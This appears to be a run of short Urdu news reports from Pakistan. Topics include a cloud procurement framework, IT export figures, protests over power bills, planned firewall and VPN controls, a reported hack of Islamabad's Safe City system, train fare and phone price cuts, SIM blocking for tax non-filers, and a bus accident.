کلاؤڈ پروکیورمنٹ فریم ورک خریداری کے عمل کے ہر پہلو کا خاکہ پیش کرتا ہے۔ اس میں مقامی اور بین الاقوامی کلاؤڈ سروس فراہم کرنے والوں کے لیے قواعد، ان کی شرکت کے لیے شرائط و ضوابط، اور خریداری کے عمل سے وابستہ اخراجات شامل ہیں۔

فریم ورک میں بیان کردہ کلیدی عناصر میں مشمولات، وضاحت، اور درخواست برائے پروپوزل (RFP) دستاویزات میں ترمیم، تجویز کی زبان، اہلیت، قیمتوں کا تعین، کرنسی، اور درستگی کی مدت کے بارے میں معلومات شامل ہیں۔ اس میں پروپوزل کی حفاظت، متبادل تجاویز، جمع کرانے کی آخری تاریخ، اور جمع کرانے کے فارمیٹ سے متعلق رہنما خطوط بھی شامل ہیں۔

مزید برآں، یہ تجاویز کو کھولنے، جانچنے اور جانچنے کے لیے اقدامات کی وضاحت کرتا ہے، بشمول معاہدوں کو دینے اور کم مالیاتی تجاویز کو سنبھالنے کے معیار، اور معاہدے پر دستخط، کارکردگی کی ضمانتوں، اور پروکیورنگ ایجنسی کے حقوق کے لیے شرائط کا خاکہ پیش کرتا ہے۔ فریم ورک شکایات اور شکایات کو دور کرنے کے لیے میکانزم بھی قائم کرتا ہے، جس میں بلیک لسٹ کرنے کا طریقہ کار بھی شامل ہے، اور اس میں اہل ممالک، تشخیص کے معیار، اور مشترکہ منصوبے کی معلومات کے فارم جیسے شعبوں کا احاطہ کیا گیا ہے۔

اس فریم ورک کی تشکیل IT اور ٹیلی کام کی وزارت اور PPRA کی مشترکہ کوشش تھی، جس میں مہینوں کی محتاط منصوبہ بندی شامل تھی۔ وزارت آئی ٹی اور ٹیلی کام کے اندر عبوری کلاؤڈ آفس نے ان مباحثوں میں اہم کردار ادا کیا۔

یہ اقدام فروری 2022 میں متعارف کرائی گئی پاکستان کی کلاؤڈ فرسٹ پالیسی کے مطابق ہے، جس کا مقصد ملک کی سماجی و اقتصادی ترقی کے لیے کلاؤڈ ٹیکنالوجی کا استعمال کرنا ہے۔

پاکستان نے 10 ماہ میں آئی ٹی سروسز کی برآمدات سے کتنے ارب ڈالر کمائے؟

پاکستان نے رواں مالی سال 2023-24 کے پہلے 10 ماہ کے دوران مختلف ممالک کو مختلف انفارمیشن ٹیکنالوجی (آئی ٹی) خدمات فراہم کرکے 2.593 ارب ڈالر کمائے ہیں۔

ادارہ برائے شماریات پاکستان (پی بی ایس) کے اعداد و شمار کے مطابق گزشتہ مالی سال 2022-23 کے اسی مہینوں کے دوران خدمات کی فراہمی سے حاصل ہونے والے 2.135 ارب ڈالر کے مقابلے میں یہ 20.41 فیصد زیادہ ہیں
جولائی تا اپریل 2023-24 کے دوران کمپیوٹر سروسز کی برآمدات میں 24.55 فیصد اضافہ ہوا جو گزشتہ سال کے 1.729 ارب ڈالر سے بڑھ کر 2.153 ارب ڈالر تک پہنچ گئیں۔

کمپیوٹر سروسز میں سافٹ ویئر کنسلٹنسی سروسز کی برآمدات میں 10.80 فیصد اضافہ ریکارڈ کیا گیا جو رواں سال 633.107 ملین امریکی ڈالر سے بڑھ کر 701.456 ملین ڈالر جبکہ ہارڈ ویئر کنسلٹنسی سروسز کی برآمدات میں بھی 19.24 فیصد کا اضافہ ہوا جو 4.793 ملین ڈالر سے بڑھ کر 5.715 ملین ڈالر تک پہنچ گئیں۔

مرمت اور دیکھ بھال کی خدمات کی برآمدات 45.69 فیصد کمی کے ساتھ 2.762 ملین ڈالر سے کم ہو کر 1.500 ملین ڈالر رہ گئیں جبکہ کمپیوٹر سافٹ ویئر خدمات کی برآمدات اور درآمدات 6.77 فیصد اضافے کے ساتھ 489.737 ملین ڈالر سے 522.909 ملین ڈالر رہ گئیں۔
واضح رہے کہ 10 مہینوں کے دوران انفارمیشن سروسز کی برآمدات میں 105.90 فیصد کا اضافہ دیکھا گیا جو 4.240 ملین ڈالر سے بڑھ کر 8.730 ملین ڈالر تک پہنچ گئیں۔

انفارمیشن سروسز میں نیوز ایجنسی سروسز کی برآمدات 167.58 فیصد اضافے کے ساتھ 2.505 ملین ڈالر سے بڑھ کر 6.730 ملین ڈالر جبکہ دیگر معلومات سے متعلق خدمات کی برآمدات 16.83 فیصد اضافے کے ساتھ 1.735 ملین ڈالر سے بڑھ کر 2.027 ملین ڈالر تک پہنچ گئیں۔

اعداد و شمار کے مطابق ٹیلی کمیونیکیشن سروسز کی برآمدات میں 7.04 فیصد اضافہ ہوا اور یہ 402.260 ملین ڈالر سے بڑھ کر 430.590 ملین ڈالر تک پہنچ گئیں۔

پی بی ایس کے اعداد و شمار کے مطابق ٹیلی کمیونیکیشن سروسز میں کال سینٹرز سروسز کی برآمدات میں 17.59 فیصد کا اضافہ ہوا کیونکہ اس کی برآمدات 180.682 ملین ڈالر سے بڑھ کر 212.467 ملین ڈالر جبکہ دیگر ٹیلی کمیونیکیشن سروسز کی برآمدات میں 1.56 فیصد کی کمی ریکارڈ کی گئی جو رواں سال کے دوران 221.578 ملین ڈالر سے بڑھ کر 218.123 ملین ڈالر ہو گئیں۔

جماعت اسلامی کا لوڈ شیڈنگ اور بجلی کے بلوں میں اضافے کیخلاف ملک گیر احتجاج، کراچی میں دھرنے کا اعلان

جماعت اسلامی کی جانب سے بجلی کی لوڈ شیڈنگ اور بلوں میں اضافے پر ملک گیر احتجاج کیا گیا جب کہ کراچی میں بجلی کی لوڈشیڈنگ اور پانی کی بندش پر 26 جون کو شارع فیصل پر دھرنے کا اعلان کیا گیا ہے۔ امیر جماعت اسلامی حافظ نعیم الرحمان نے کہا ہے کہ جس شعبے کو دیکھیں گورننس نام کی کوئی چیز نہیں ہے۔

جماعت اسلامی کے کارکن راولپنڈی، بہاولپور ، اوکاڑہ ، گجرات، سانگھڑ ، تھرپارکر اور جیکب آباد سمیت مختلف شہروں پر سڑکوں پر نکلے اور لوڈ شیڈنگ اور بجلی کے بلوں میں اضافے کے خلاف احتجاج کیا۔

مختلف شہروں میں ہونے والے احتجاج میں کارکنوں کی بڑی تعداد نے شرکت کی۔ مظاہرین نے کہا کہ اگر بجلی کے بلوں میں اضافہ واپس نہ لیا گیا تو احتجاج کا دائرہ کار وسیع کریں گے۔

بنیادی مسائل پر احتجاج کررہے ہیں، حافظ نعیم الرحمان
امیر جماعت اسلامی حافظ نعیم الرحمان نے لاہور میں گفتگو کرتے ہوئے کہا کہ لوڈشیڈنگ، بلوں اور ٹیکس کےخلاف سراپا احتجاج ہیں۔

انھوں نے کہا کہ ملک میں گورننس نام کی کوئی چیز نہیں ہے، تاثر یہ ہے کہ دودھ کی نہریں بہادی گئی ہیں، حکومت 2800 ارب روپے آئی پی پیز کے نام پر دے رہی ہے، جس شعبہ کو دیکھیں گورننس نام کی کوئی چیز نہیں۔

26 جون کو کراچی میں دھرنے کا اعلان
امیرجماعت اسلامی کراچی منعم ظفر نے شہر قائد میں گفتگو کرتے ہوئے کہا کہ جماعت اسلامی بجلی کی لوڈشیڈنگ اور پانی کی بندش پر26جون کو شارع فیصل پردھرنا دے گی۔

انھوں نے کہا کہ مہنگی بجلی ، بدترین لوڈ شیڈنگ اور قلت آب پر عوامی احتجاجی تحریک شروع کر رہے ہیں۔

ان کا کہنا تھا کہ وفاق اور میئرکراچی محض زبانی جمع خرچ کر رہے ہیں، پچھلے16برسوں میں پیپلزپارٹی نے ترقیاتی پروجیکٹ کےنام پرصرف کرپشن کی ہے۔

عسکری 5 میں بیٹی کو تھپڑ مارنا والدہ کو مہنگا پڑ گیا، قطر سے کراچی پولیس کو فون

کراچی میں ملیر کینٹ تھانے کی حدود عسکری 5 میں والدہ کے ڈانٹنے پر بیٹی نے پولیس کو شکایت لگا دی جس کے بعد پولیس نے لڑکی کو وومن پولیس اسٹیشن منتقل کردیا۔

میڈیا رپورٹ کے مطابق 21 سالہ مناہل نے قطر میں اپنے دوستوں کو فون کرکے والدہ کی جانب سے تھپڑ مارے جانے پرغصے کا اظہار کیا تھا اور کہا کہ اس کی والدہ اسے تشدد کا نشانہ بناتی ہے اور وہ اپنے والدین کے ساتھ نہیں رہنا چاہتی۔
ذرائع کے مطابق لڑکی کی والدہ نے اسی بات پر اسے تھپڑ مار دیا جس کے بعد متاثرہ لڑکی نے قطر میں اپنے دوستوں سے رابطہ کیا اور یوں قطر سے کراچی پولیس کو واقعہ کی اطلاع موصول ہوئی۔

جس کے بعد پولیس بتائے گئے پتے پر پہنچی اور لڑکی کو وومن پولیس اسٹیشن منتقل کردیا۔ ادھر پولیس کے مطابق مذکورہ خاندان پاکستانی نژاد قطری شہری ہیں اور عید منانے کے لیے پاکستان آئے تھے۔

موٹر وے پر ہائی ٹیک ڈکیتی، پاکستانی نژاد امریکی فیملی کو لُوٹ لیا گیا

امریکا سے آئی ہوئی پاکستانی فیملی کو عید کے موقع پر موٹر وے پر ہائی ٹیک کی مدد سے لُوٹ لیا گیا۔ چارسدہ کے نزدیک تین ڈاکوؤں نے رات کے دو بجے ’ٹائر بلاسٹر‘ کے ذریعے ٹائر کو پنکچر کرکے گاڑی رُکوائی اور واردات کی۔

پاکستانی نژاد امریکی فیملی خیبر پختونخوا سے اسلام آباد جارہی تھی۔ مقامی پولیس کے مطابق یہ واردات اتوار 16 جون کی رات کی ہے۔

ٹائر کو پنکچر کرکے گاڑی رکوانے کے بعد مسلح ڈاکوؤں نے تین آئی فون، 58 ہزار روپے اور دو تولہ سونا لُوٹ لیا۔ متاثرہ فیملی رشتہ داروں کے ساتھ عید منانے آئی ہوئی ہے۔

اس واردات کی تفتیش اور ملزمان کے تعین و گرفتاری کے لیے ایس پی انویسٹی گیشن چارسدہ کے سربراہی میں خصوصی تحقیقاتی ٹیم تشکیل دی گئی ہے۔

پولیس نے 6 مشتبہ ملزمان کو حراست میں لے کر تفتیش کی ہے۔ موقع کی جیو فینسنگ کرلی گئی ہے۔ جرائم پیشہ افراد کے گروہوں کا ریکارڈ کھنگالا جارہا ہے۔

ریجنل پولیس افسر مردار ظہور بابر آفریدی کا کہنا ہے کہ واردات کے بعد ملزم پیدل فرار ہوئے۔ اُنہوں نے کہا ہے کہ ملزمان کو بہت جلد گرفتار کرلیا جائے گا۔

پاکستان میں فائروال کے ذریعے سوشل میڈیا کنٹرول کرنے کی تیاری، وی پی این بھی کام نہیں آئے گا

حکومت نے سوشل میڈیا پلیٹ فارمز فیس بک، ایکس اور یوٹیوب کو کنٹرول کرنے کے لیے انٹرنیٹ کمپنیز میں فائروال لگانے کی تیاری مکمل کرلی ہے، فائروال کے ذریعے سوشل میڈیا پر قابل اعتراض مواد کی تشہیر روکنے میں مدد ملے گی۔

انٹرنیٹ فائر وال کیا ہے؟
فائروال ایک طرح کا فلٹر ہے جس کے ذریعے کوئی بھی ملک انٹرنیٹ پر ناپسندیدہ مواد کو سوشل میڈیا پر نشر ہونے سے روک سکتا ہے اور اس کے ذریعے ناپسندیدہ ویب سائٹس کو بلاک بھی کیا جا سکتا ہے۔
پاکستان میں بھی فائروال کوئی نئی چیز نہیں ہے، سرکاری ادارے ویب سائٹس اور سوشل ایپس کو بلاک کرنے کے لیے فائروال کا استعمال کرتے آرہے ہیں، تاہم اب ملک میں فائروال کے استعمال کا دائرہ وسیع کیا جارہا ہے۔

تازہ ترین ٹیکنالوجیز کی مدد سے تیار کیے جانے والے فائروال کی مدد سے سوشل میڈیا کے مواد کی مانیٹرنگ آسان اور مؤثر ہوجائے گی۔

فائروال 2 کام کرے گا
ایک سرکاری عہدیدار کے مطابق جدید فائروال سے ان مقامات کی نشاندہی کی جا سکے گی جہاں سے پروپیگنڈا مواد شروع کیا جا رہا ہے اور اس کے نتیجے میں ان اکاؤنٹس کی بندش یا رسائی کو محدود کی جاسکے گا۔
نئے سیٹ اپ میں ایسے مواد کا پتا لگانے کے لیے ’الفاظ کا فلٹرنگ سسٹم‘ ہوگا، جسے حکومت قومی سلامتی کے لیے متعصب سمجھتی ہے، ایسے معاملات میں، فلٹر ایک انفارمیشن انسپیکٹر کی طرح کام کرے گا۔

وی پی این بھی کنٹرول ہوگا
دوسری جانب حکومت ورچوئل پرائیویٹ نیٹ ورک (وی پی این) کو بھی کنٹرول کرنے کی تیاری کیے ہوئے ہے، حکومت شہریوں کے لیے یہ لازمی قرار دے سکتی ہے کہ وہ پی ٹی اے کو ان وی پی اینز کے بارے میں مطلع کریں جو وہ استعمال کر رہے ہیں، جو بھی ایسا کرنے میں ناکام رہے وہ مشکل میں پڑسکتا ہے۔

یہاں یہ بات بھی قابل ذکر ہے کہ پاکستان میں سوشل میڈیا پلیٹ فارم ایکس کو بندش کے باعث صارفین وی پی این کا استعمال کرکے ’ایکس‘ تک رسائی حاصل کرلیتے ہیں۔

وی پی این دراصل ایک چور راستہ ہے، جس کے ذریعے حکومت کی جانب سے سوشل میڈیا پلیٹ فارمز پر پابندی کے باوجود صارفین ان پلیٹ فارمز تک رسائی حاصل کرتے ہیں۔

’ایکس کی بندش سے پاکستان کو فائدہ ہوا‘
ایک سرکاری اہلکار کے مطابق ایکس پر بندش کی وجہ سے پاکستان میں ایکس کا استعمال 4.5 ملین سے کم ہو کر 2.4 ملین رہ گیا ہے، جس کا مطلب ہے کہ پابندی نے پاکستان میں ایکس کے کاروبار کو متاثر کیا ہے، جس کے باعث اب ایکس انتظامیہ نے بھی ماضی کے برعکس حکومتی مطالبات پر دھیان دینا شروع کر دیا ہے۔

بھارت سے شکست، چیئرمین پی سی بی کا قومی ٹیم کی سرجری کا فیصلہ

چیئرمین پاکستان کرکٹ بورڈ (پی سی بی) محسن نقوی نے کہا کہ انڈیا سے شکست ہر لحاظ سے مایوس کن تھی، لگتا تھا کہ کرکٹ ٹیم کا چھوٹی سرجری سے کام چل جائے گا لیکن ٹیم میں بڑی سرجری کی ضرورت ہے۔
صحافیوں سے گفتگو کرتے ہوئے چیئرمین پاکستان کرکٹ بورڈ محسن نقوی نے کہا کہ آج کی شکست ہر لحاظ سے مایوس کن تھی، آج کی انتہائی خراب کارکردگی کے بعد یقین ہوگیا ہے کہ ٹیم میں بڑے پیمانے پر تبدیلی کی ضرورت ہے۔

انہوں نے کہا کہ قومی کرکٹ ٹیم اس وقت اپنی سب سے کم درجہ کی پرفارمنس پر ہے۔ ہمارا سب سے بڑا چیلنج ٹیم کی کارکردگی کو بہتر بنانا ہے، قوم جلد بڑی سرجری ہوتے ہوئے دیکھے گی۔

چیئرمین پی سی بی نے کہا کہ پاکستان کرکٹ ٹیم کو دنیا کی ایک بہترین ٹیم بنانا ہے، اچھی طرح معلوم ہے کہ ٹیم میں کیا چل رہا تھا اور ہارنے کی وجوہات کیا ہیں۔

محسن نقوی نے کہا کہ اب چیمپئنز ٹرافی کے لیے ٹیم کو تیار کرنا ہے، بس بہت ہوگیا ہے اب باہر بیٹھے نئے ٹیلنٹ کو بھی موقع دیا جائے گا۔ قوم کرکٹ ٹیم سے ایسی مایوس کن کارکردگی کی توقع نہیں رکھتی تھی۔

اوورسیز پاکستانیوں کو ارجنٹ پاسپورٹ 7 روز میں جاری کرنے کا حکم

پاسپورٹ کی مقررہ مدت میں فراہمی یقینی بنانے کےلیے پی ایس او اے ایس پی شہر بانو کی سربراہی میں مانیٹرنگ سیل قائم کردیا گیا۔

تفصیلات کے مطابق وفاقی وزیرداخلہ محسن نقوی نے لندن میں پاسپورٹ اور نادرا سینٹرز کا دورہ کیا۔ وزیرداخلہ نے دنیا بھر میں مقیم پاکستانیوں کوپاسپورٹ کے اجراء میں تاخیر کا نوٹس لے لیا۔

وزیرداخلہ نے متعلقہ حکام کو اوورسیزپاکستانیوں کو ارجنٹ پاسپورٹ 7 روز میں جاری کرنےکا حکم دیدیا۔ محسن نقوی نے کہا کہ اوورسیز پاکستانیوں کونارمل پاسپورٹ 30 روز میں جاری ہوگا۔

محسن نقوی نے کہا کہ اس پالیسی کا اطلاق دنیا بھر میں موجود تمام پاکستانی مشنز پر ہوگا، پاسپورٹ میں تاخیر کسی صورت برداشت نہیں، مقرر کردہ مدت میں پاسپورٹ جاری نہ ہوا تو متعلقہ افسران کیخلاف ایکشن لوں گا۔

اسلام آباد سیف سٹی سسٹم پر ہیکرز کا حملہ، حساس نوعیت کا ڈیٹا چوری

اسلام آباد سیف سٹی اتھارٹی کا سسٹم ہیک اور حساس نوعیت کا ڈیٹا چوری ہونے کا انکشاف ہوا ہے۔

میڈیا رپورٹس کے مطابق، گزشتہ جمعرات کو ہیکرز کے حملے کے بعد اسلام آباد سیف سٹی اتھارٹی کا سسٹم آف لائن کر دیا گیا تھا۔ حکام کو ہیکرز کے حملے کا 2 دن پہلے پتا چلا جس کے بعد سیف سٹی اتھارٹی نے سیکیورٹی خدشات کی بنا پر کریمینل مینجمنٹ ریکارڈ، ہیومن ریسورسز مینیجمنٹ سسٹم اور دیگر آپریشنل سوفٹ ویئرز کی نگرانی کرنے والے سرورز کو فوری طور پر بند کردیا تھا۔

ہیکنگ کا علم ہونے کے بعد اتھارٹی کے آئی ٹی ڈیپارٹمنٹ نے سوفٹ ویئر اور ایپلی کیشنز کے تمام لاگ انز کو غیرفعال کردیا۔ ایک متعلقہ افسر نے بتایا کہ ہیکنگ کا یہ واقعہ معمولی نہیں تھا بلکہ یہ متعلقہ حکام کی جانب سے لگائے جانے والے کمزور پاسورڈز کے باعث پیش آیا جنہیں ہیکرز نے باآسانی چوری کرلیا تھا۔ متبادل سرورز نہ ہونے سے سسٹم کو چالو رکھنا ناممکن تھا۔
علاوہ ازیں، سیف سٹی اتھارٹی کا سسٹم پرانا ہوچکا ہے اور اس کے لائسنس کی میعاد بھی ختم ہوچکی ہے، سسٹم ڈاون ہونے سے آن لائن تمام سہولیات متاثر ہوئیں جن میں موبائل ایپلی کیشنز، اسمارٹ پولیس وہیکلز کا ریکارڈ، تھانوں کا ڈیٹا، ویڈیو ایناؒلیٹکس، اسلام آباد ٹریفک پولیس کے آپریشنز، ای چالان کا ڈیٹا اور کریمینل ریکارڈ ہینڈل کیا جاتا ہے۔

اسلام آباد کے تھانوں میں عارضی طور پر آن لائن کام روک دیا گیا ہے۔ میڈیا رپورٹس ذرائع کا حوالہ دے کر کہا گیا ہے کہ سسٹم کو ٹھیک کرنے کے لیے کام جاری ہے، سسٹم بحال ہونے میں 2 دن لگ سکتے ہیں۔

راولپنڈی: نیب کا بحریہ ٹاؤن کے دفتر پر چھاپہ، ریکارڈ قبضے میں لیکر دفتر سیل کردیا

قومی احتساب بیورو (نیب) کی ٹیم کی جانب سے نے نجی ہاؤسنگ سوسائٹی (بحریہ ٹاؤن) کے راولپنڈی آفس پر چھاپہ مارا گیا ہے۔

ذرائع کے مطابق چھاپا القادر ٹرسٹ یونیورسٹی کا ریکارڈ حاصل کرنے کے لیے مارا گیا۔

چھاپے کے دوران نیب ٹیم کے ہمراہ پنجاب پولیس اور ایلیٹ فورس کی ٹیمیں بھی تھیں۔

ذرائع کے مطابق نیب کی ٹیم نے دفتر میں ہاؤسنگ سوسائٹی کے عملے سے پوچھ گچھ کی۔

ذرائع کے مطابق نیب کی جانب سے ہاؤسنگ سوسائٹی کا دفتر سیل کردیاگیا۔

ذرائع کا کہنا ہے کہ نیب نے بحریہ ٹاؤن کے خلاف مبینہ بے ضابطگیوں پر تحقیقات بھی شروع کردی ہیں۔

ذرائع کے مطابق بحریہ انکلیو اسلام آباد کی زمین پر بھی تحقیقات شروع کردی گئی ہیں۔

ذرائع کا بتانا ہے کہ سی ڈی اے نے یہ زمین چڑیا گھر کےلیے مختص کی تھی۔

ٹرینوں کے کرایوں میں 50 فیصد سے زائد کمی کردی گئی

ڈیزل کی قیمت میں کمی ہونے کے باعث ریلوے حکام نے ایک کلو میڑ سے 200 کلو میٹر تک ٹرینوں کے کرایوں میں کمی کر دی۔

نوٹیفکیشن کے مطابق تمام کلاسز کی ٹرینوں کے کرایوں میں کمی کی گئی ہے، بعض ٹرینوں کی اکانومی کلاس کے کرایوں میں 54 فیصد تک کمی کردی گئی ہے۔

محکمہ ریلوے نے اے سی کلاس کے کرایوں میں 40 فیصد تک کی کمی کر دی۔ نوٹیفکیشن کے مطابق لاہور تا روالپنڈی روٹ کے ڈرمیںان درمیان چلنے والی ٹرین ریل کار اکانومی کلاس کا کم سے کم کرایہ 250 روپے تھاجوکم ہو کر 100 روپے ہو گیا ہے۔

اسی طرح خیبر میل ٹرین اکانومی کلاس کا 1 کلو میٹر سے 130کلو میٹر تک کرایہ 250 روپے تھا جو کم ہو کر 100 روپے رہ گیا ہے۔ فیصلہ کم دورانیہ کے روٹ پر ٹرینوں میں سفر کرنے والے مسافروں کو سہولت فراہم کرنے کے لیے کی گئی ہے۔ نئے کرایہ نامہ پر آج (21 مئی) سے عمل درآمد ہوگیا۔

موبائل فون کی قیمتیں بھی گرگئیں؛ اچانک بڑی کمی

موبائل فون کی قیمتوں میں بڑی کمی ہو گئی ہے۔

موبائل مارکیٹس میں موبائل فون کی قیمتوں میں 20 سے 30 فیصد تک کمی ہوگئی ہے، ایک لاکھ روپے والا سمارٹ فون 70 ہزار روپے کا ہوگیا ہے۔

64 ہزار روپے مالیت والا موبائل فون اب 50 ہزار میں فروخت ہورہا ہے۔ 50 ہزار روپے والے موبائل کی قیمت 38 سے 40 ہزار روپے تک ہو گئی ہے۔ مارکیٹ میں اب 20 ہزار روپے میں بھی اسمارٹ فونز دستیاب ہیں۔

اس کے علاوہ کی پیڈ والے موبائل فون کی قیمتیں بھی گر گئی ہیں، کی پیڈ والے موبائل کی قیمت 1800 روپے تک آگئی ہے۔

موبائل فون کی قیمتوں میں کمی کے حوالے سے صارفین کا کہنا ہے موبائل کی قیمتیں اب بھی مہنگی ہیں، مہنگے کرتے وقت موبائل فونز کی قیمتوں میں 40 سے 50 فیصد اضافہ کیا گیا، لیکن جب قیمتیں کم کرنے کی باری آئی تو صرف 20 سے 30 فیصد کمی کی گئی۔

کیا نان فائلرز کی سمیں واقعی بند ہوجائیں گی؟

ملک بھر میں نان فائلرز کی سمیں بلاک کرنے کے معاملے پر فیڈرل بورڈ آف ریونیو (ایف بی آر) اور ٹیلی کام آپریٹرز کے درمیان اتفاق ہوگیا ہے۔ نان فائلرز کی سمیں بلاک کرنے کا سلسلہ شروع کردیا گیا ہے۔

ایف بی آر کے مطابق 10 مئی کو 5 ہزار نان فائلرز کی سمیں بلاک کرنے کی تفصیلات ٹیلی کام آپریٹرز کو مہیا کردی گئی ہیں۔ ٹیلی کام آپریٹرز نے چھوٹے بیچز میں مینوئل طریقے سے سمیں بلاک کرنے پر اتفاق کیا ہے۔
ایف بی آر حکام کے مطابق ٹیلی کام آپریٹرز کو روزانہ کی بنیاد پر مزید بیچز بھیجے جائیں گے۔ ٹیلی کام آپریٹرز نے نان فائلرز کو سمیں بلاک کرنے سے خبردار کرنے کے پیغامات بھیجنا شروع کردیے ہیں۔ نان فائلرز کی سمیں بلاک کرنے سے ٹیکس وصولی میں اضافہ ہوگا۔

یاد رہے کہ گزشتہ روز حکومت نے ایف بی آر کو نان فائلرز کے خلاف پلان بی پر عملدرآمد کے لیے گرین سگنل دے دیا تھا۔ پلان بی کے تحت نان فائلرز کے خلاف 15 مئی کے بعد ایکشن شروع ہونا تھا جس کے تحت اگر نان فائلرز کی سم بند نہ ہوئی تو اضافی ود ہولڈنگ ٹیکس لانے اور نان فائلرز کی سم پر 2.5 فیصد اضافی ٹیکس لگانے پر بھی غور کیا جارہا ہے۔

چلاس،شاہراہ قراقرم پرمسافربس حادثے میں 20 افراد جاں بحق، متعدد زخمی

راولپنڈی سےہنزہ جانیوالی بس یشوکل داس کے مقام پر کھائی میں گرگئی، حادثے کے نتیجےمیں 20 افراد جاں بحق متعدد زخمی ہوگئے۔

ریسکیو ذرائع کاکہنا ہےکہ مرنےوالوں میں 17مرد اور3خواتین شامل ہیں،بس حادثے میں اب تک 22افراد زخمی ہو چکےہیں،زخمیوں کوچلاس اسپتال میں  طبی امداد دی جارہی ہے۔

حادثہ علی الصبح پیش آیا جس کےفوری بعد ریسکیو، پولیس اور مقامی افراد نے ریسکیو آپریشن میں حصہ لیا،ریجنل اسپتال میں ایمرجنسی نافذکر کےشہریوں سے زخمیوں کے لیےخون کی اپیل کی گئی۔

رپورٹس کےمطابق حادثےکا شکارمسافر بس راولپنڈی سےگلگت جارہی تھی۔حادثہ چلاس شہرسے 20 کلومیٹردور پیش آیا،اووراسپیڈ یا موڑکاٹتے ہوئے بس حادثےکا شکار ہوئی۔

حادثےپروزیراعظم اوروزیرداخلہ نےقیمتی جانوں کےنقصان پرافسوس کا اظہار کیا ہے، وزیراعظم شہبازشریف نےزخمیوں کی جلد صحت یابی کیلئے دعا کرتے ہوئے ہر ممکن طبی امداد فراہم کرنےکی ہدایت کردی ہے

موبائل فونز کی مقامی تیاری کے بعد قیمتوں میں کمی، کونسا ماڈل کتنا سستا ہوا؟

پاکستان میں مقامی سطح پر تیار ہونے والے موبائل فون اور بیرون ممالک سے درآمد کیے گئے موبائل کی قیمتوں میں مسلسل کمی کا رجحان دیکھا جا رہا ہے۔ گذشتہ چار ماہ کے دوران مختلف موبائل فونز کی قیمتوں میں تین سے 18 ہزار روپے تک کی کمی رپورٹ کی گئی ہے۔

ماہرین کا کہنا ہے کہ ملک میں موبائل فونز کی قیمتوں میں کمی کی وجہ ڈالر کی قدر میں کئی ماہ سے استحکام، ایف بی آر کی نئے اور استعمال شدہ موبائل فونز کی ڈیوٹی میں کمی اور مقامی سطح پر موبائل بنانے والوں کو سامان درآمد کرنے میں ریلیف ملنے سمیت دیگر وجوہات کی وجہ سے اب موبائل فون سستے ہوئے ہیں۔

پاکستان میں سمارٹ فون استعمال کرنے والوں کے لیے اچھی خبر یہ ہے کہ رواں سال مسلسل چوتھے مہینے میں مختلف موبائل فونز کی قیمتوں میں کمی ہوئی ہے۔

مقامی سطح پر تیار ہونے والے سمارٹ موبائل فونز کی قیمت میں تین ہزار روپے سے لے کر 18 ہزار روپے تک کی کمی ہوئی ہے۔ موبائل برانڈز کے بارے میں بتاتے ہوئے انہوں نے کہا کہ ویگو ٹیل، انفینکس، ریڈ می، سام سانگ، آئی ٹیل، او پو اور شاومی سمیت دیگر موبائل فون بنانے والی کمپنیوں نے نئے ماڈلز جاری کیے ہیں۔

نئے ماڈلز جہاں دیکھنے میں خوبصورت ہیں وہیں استعمال میں آسان ہونے کے ساتھ ساتھ صارف کو کئی نئے اچھے آپشنز فراہم کر رہے ہیں۔ جن میں سب اہم بات یہ ہے ان کی قیمت ماضی کے مقابلے میں کم ہے۔ یہ موبائل فونز نئی ٹیکنالوجی متعارف کروا رہے ہیں۔ بیٹری اور ہائی ریزولوشن کے کیمرے جیسے دیگر آپشنز بھی ان موبائل فونز میں موجود ہیں۔

موبائل فونز کے کاروبار سے وابستہ تاجروں کا کہنا ہے کہ پاکستان میں اس وقت مقامی سطح پر موبائل فون بنانے والی کمپنیوں کو ماضی کی طرز کی مشکلات کا سامنا نہیں ہے، اب ایل سی ( لیٹر آف کریڈٹ) بینک آسانی سے کھول رہے ہیں جس کی بدولت ملک میں خام مال کی درآمد ممکن ہورہی ہے۔ خام مال کی موجودگی کی وجہ سے کراچی کی ویران موبائل فونز کی فیکٹریاں ایک بار پھر سے آباد ہوگئی ہیں۔ اب کام تین شفٹوں میں جاری ہے۔

پاکستان میں تقریبا 30 کے قریب موبائل فون بنانے والی کمپنیاں کام کر رہی ہیں۔ یہ کمپنیاں پاکستان میں عالمی معیار کے موبائل فون تیار کر رہی ہیں۔ پاکستان میں تیار ہونے والے موبائل فونز نا صرف پاکستان میں استعمال ہو رہے ہیں بلکہ اب پاکستان سے باہر بھی بھیجے جا رہے ہیں۔

رپورٹ کے مطابق پاکستان میں تیار ہونے والے فون صارفین کو سستے پڑتے ہیں، اس کی سب اہم وجہ تو یہ ہے کہ درآمد شدہ فون کی ڈالر میں خریداری اور ڈیوٹی ادائیگی کا عمل نہیں ہوتا ہے۔

تاجروں کے مطابق کئی ماہ سے ڈالر کی اونچی اڑان تھمی ضرور ہے لیکن پھر بھی روپے کے مقابلے میں ڈالر کی قدر اب بھی زیادہ ہے۔ اس کے ساتھ ساتھ مقامی سطح پر تیار ہونے والے سمارٹ فونز کی وارنٹی کلیم سمیت دیگر معاملات بھی آسان ہیں۔ کسی بھی فون کی بیٹری، کیمرہ، سکرین سمیت دیگر سامان باآسانی مارکیٹ میں دستیاب ہے اس لیے فون کی رپیرنگ کا معاملہ بھی آسان ہے۔

وزیراعظم شہباز شریف نے اسحاق ڈار کو ڈپٹی وزیراعظم مقرر کردیا، نوٹیفکیشن جاری

وزیراعظم پاکستان شہباز شریف نے وزیر خارجہ اسحاق ڈار کو پاکستان کا نائب وزیراعظم مقرر کر دیا۔

اسحاق ڈار کو پاکستان کا نائب وزیراعظم بنانے کا نوٹیفکیشن جاری کردیا گیا ہے۔

وزیر خارجہ اسحاق ڈار ڈپٹی وزیراعظم مقرر، نوٹی فکیشن جاری
اسحاق ڈار کو نائب وزیراعظم بنانے کا نوٹیفکیشن کیبنٹ ڈویژن کی جانب سے جاری کیا گیا ہے۔

واضح رہے کہ وزیراعظم پاکستان شہباز شریف اس وقت سعودی عرب کے دورے پر ہیں جہاں پر وہ ورلڈ اکنامک فورم کے اجلاس میں شرکت کریں گے۔ جبکہ اسحاق ڈار بھی ان کے ہمراہ ہیں۔

اسحاق ڈار کو پاکستان کا ڈپٹی وزیراعظم بنائے جانے کے فیصلے کا اطلاق فوری ہوگا۔

یاد رہے کہ اس سے قبل پاکستان پیپلزپارٹی کے دور میں چوہدری پرویز الٰہی بھی ڈپٹی وزیراعظم رہ چکے ہیں۔

موبائل رجسٹریشن سسٹم اتوار تک دستیاب نہیں ہوگا، پی ٹی اے

